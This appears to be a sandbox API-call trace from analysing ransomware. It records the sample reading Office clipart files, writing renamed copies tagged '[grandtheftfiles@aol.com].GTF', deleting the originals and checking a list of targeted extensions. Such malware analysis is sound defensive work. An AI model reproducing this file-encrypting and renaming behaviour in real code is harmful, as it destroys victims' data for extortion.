	[0087.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.962] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.962] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0087.962] GetLastError () returned 0x0
	[0087.963] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x3b3c, lpOverlapped=0x0) returned 1
	[0087.964] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x3b40, lpOverlapped=0x0) returned 1
	[0087.966] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.966] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.966] SetEndOfFile (hFile=0x334) returned 1
	[0087.966] CloseHandle (hObject=0x334) returned 1
	[0087.966] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.966] SetEndOfFile (hFile=0x39c) returned 1
	[0087.967] CloseHandle (hObject=0x39c) returned 1
	[0087.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1
	[0087.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.967] lstrlenW (lpString=".doc") returned 4
	[0087.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.967] lstrlenW (lpString=".docx") returned 5
	[0087.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.967] lstrlenW (lpString=".pdf") returned 4
	[0087.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.967] lstrlenW (lpString=".xls") returned 4
	[0087.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.967] lstrlenW (lpString=".xlsx") returned 5
	[0087.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.968] lstrlenW (lpString=".ppt") returned 4
	[0087.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.968] lstrlenW (lpString=".zip") returned 4
	[0087.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.968] lstrlenW (lpString=".rar") returned 4
	[0087.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.968] lstrlenW (lpString=".bz2") returned 4
	[0087.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.968] lstrlenW (lpString=".7z") returned 3
	[0087.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.968] lstrlenW (lpString=".dbf") returned 4
	[0087.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.968] lstrlenW (lpString=".1cd") returned 4
	[0087.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.968] lstrlenW (lpString=".jpg") returned 4
	[0087.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.968] lstrlenW (lpString=".doc") returned 4
	[0087.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.968] lstrlenW (lpString=".docx") returned 5
	[0087.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.968] lstrlenW (lpString=".pdf") returned 4
	[0087.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.968] lstrlenW (lpString=".xls") returned 4
	[0087.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.968] lstrlenW (lpString=".xlsx") returned 5
	[0087.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.968] lstrlenW (lpString=".ppt") returned 4
	[0087.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.969] lstrlenW (lpString=".zip") returned 4
	[0087.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.969] lstrlenW (lpString=".rar") returned 4
	[0087.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.969] lstrlenW (lpString=".bz2") returned 4
	[0087.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.969] lstrlenW (lpString=".7z") returned 3
	[0087.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.969] lstrlenW (lpString=".dbf") returned 4
	[0087.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.969] lstrlenW (lpString=".1cd") returned 4
	[0087.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0087.969] lstrlenW (lpString=".jpg") returned 4
	[0087.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.969] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.969] lstrlenW (lpString="FD01074_.WMF") returned 12
	[0087.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.969] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4634) returned 1
	[0087.969] CloseHandle (hObject=0x39c) returned 1
	[0087.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220
	[0087.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.970] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.970] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0087.970] GetLastError () returned 0x0
	[0087.970] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x121a, lpOverlapped=0x0) returned 1
	[0087.972] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0087.973] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.973] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.973] SetEndOfFile (hFile=0x334) returned 1
	[0087.973] CloseHandle (hObject=0x334) returned 1
	[0087.973] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.973] SetEndOfFile (hFile=0x39c) returned 1
	[0087.974] CloseHandle (hObject=0x39c) returned 1
	[0087.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1
	[0087.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.974] lstrlenW (lpString=".doc") returned 4
	[0087.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.975] lstrlenW (lpString=".docx") returned 5
	[0087.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.975] lstrlenW (lpString=".pdf") returned 4
	[0087.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.975] lstrlenW (lpString=".xls") returned 4
	[0087.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.975] lstrlenW (lpString=".xlsx") returned 5
	[0087.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.975] lstrlenW (lpString=".ppt") returned 4
	[0087.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.975] lstrlenW (lpString=".zip") returned 4
	[0087.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.975] lstrlenW (lpString=".rar") returned 4
	[0087.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.975] lstrlenW (lpString=".bz2") returned 4
	[0087.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.975] lstrlenW (lpString=".7z") returned 3
	[0087.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.975] lstrlenW (lpString=".dbf") returned 4
	[0087.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.975] lstrlenW (lpString=".1cd") returned 4
	[0087.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.975] lstrlenW (lpString=".jpg") returned 4
	[0087.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.975] lstrlenW (lpString=".doc") returned 4
	[0087.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.975] lstrlenW (lpString=".docx") returned 5
	[0087.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.975] lstrlenW (lpString=".pdf") returned 4
	[0087.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.976] lstrlenW (lpString=".xls") returned 4
	[0087.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.976] lstrlenW (lpString=".xlsx") returned 5
	[0087.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.976] lstrlenW (lpString=".ppt") returned 4
	[0087.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.976] lstrlenW (lpString=".zip") returned 4
	[0087.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.976] lstrlenW (lpString=".rar") returned 4
	[0087.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.976] lstrlenW (lpString=".bz2") returned 4
	[0087.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.976] lstrlenW (lpString=".7z") returned 3
	[0087.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.976] lstrlenW (lpString=".dbf") returned 4
	[0087.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.976] lstrlenW (lpString=".1cd") returned 4
	[0087.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0087.976] lstrlenW (lpString=".jpg") returned 4
	[0087.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.976] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.976] lstrlenW (lpString="FD01084_.WMF") returned 12
	[0087.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.977] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2412) returned 1
	[0087.977] CloseHandle (hObject=0x39c) returned 1
	[0087.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220
	[0087.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.977] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.977] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0087.977] GetLastError () returned 0x0
	[0087.978] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x96c, lpOverlapped=0x0) returned 1
	[0087.979] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x970, lpOverlapped=0x0) returned 1
	[0087.982] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.982] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.982] SetEndOfFile (hFile=0x334) returned 1
	[0087.982] CloseHandle (hObject=0x334) returned 1
	[0087.982] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.982] SetEndOfFile (hFile=0x39c) returned 1
	[0087.983] CloseHandle (hObject=0x39c) returned 1
	[0087.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1
	[0087.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.983] lstrlenW (lpString=".doc") returned 4
	[0087.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.983] lstrlenW (lpString=".docx") returned 5
	[0087.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.983] lstrlenW (lpString=".pdf") returned 4
	[0087.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.983] lstrlenW (lpString=".xls") returned 4
	[0087.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.984] lstrlenW (lpString=".xlsx") returned 5
	[0087.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.984] lstrlenW (lpString=".ppt") returned 4
	[0087.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.984] lstrlenW (lpString=".zip") returned 4
	[0087.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.984] lstrlenW (lpString=".rar") returned 4
	[0087.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.984] lstrlenW (lpString=".bz2") returned 4
	[0087.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.984] lstrlenW (lpString=".7z") returned 3
	[0087.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.984] lstrlenW (lpString=".dbf") returned 4
	[0087.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.984] lstrlenW (lpString=".1cd") returned 4
	[0087.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.984] lstrlenW (lpString=".jpg") returned 4
	[0087.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.984] lstrlenW (lpString=".doc") returned 4
	[0087.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.984] lstrlenW (lpString=".docx") returned 5
	[0087.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.984] lstrlenW (lpString=".pdf") returned 4
	[0087.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.984] lstrlenW (lpString=".xls") returned 4
	[0087.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.984] lstrlenW (lpString=".xlsx") returned 5
	[0087.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.984] lstrlenW (lpString=".ppt") returned 4
	[0087.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.985] lstrlenW (lpString=".zip") returned 4
	[0087.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.985] lstrlenW (lpString=".rar") returned 4
	[0087.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.985] lstrlenW (lpString=".bz2") returned 4
	[0087.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.985] lstrlenW (lpString=".7z") returned 3
	[0087.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.985] lstrlenW (lpString=".dbf") returned 4
	[0087.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.985] lstrlenW (lpString=".1cd") returned 4
	[0087.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0087.985] lstrlenW (lpString=".jpg") returned 4
	[0087.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.985] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.985] lstrlenW (lpString="FD01176_.WMF") returned 12
	[0087.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.985] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4984) returned 1
	[0087.986] CloseHandle (hObject=0x39c) returned 1
	[0087.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220
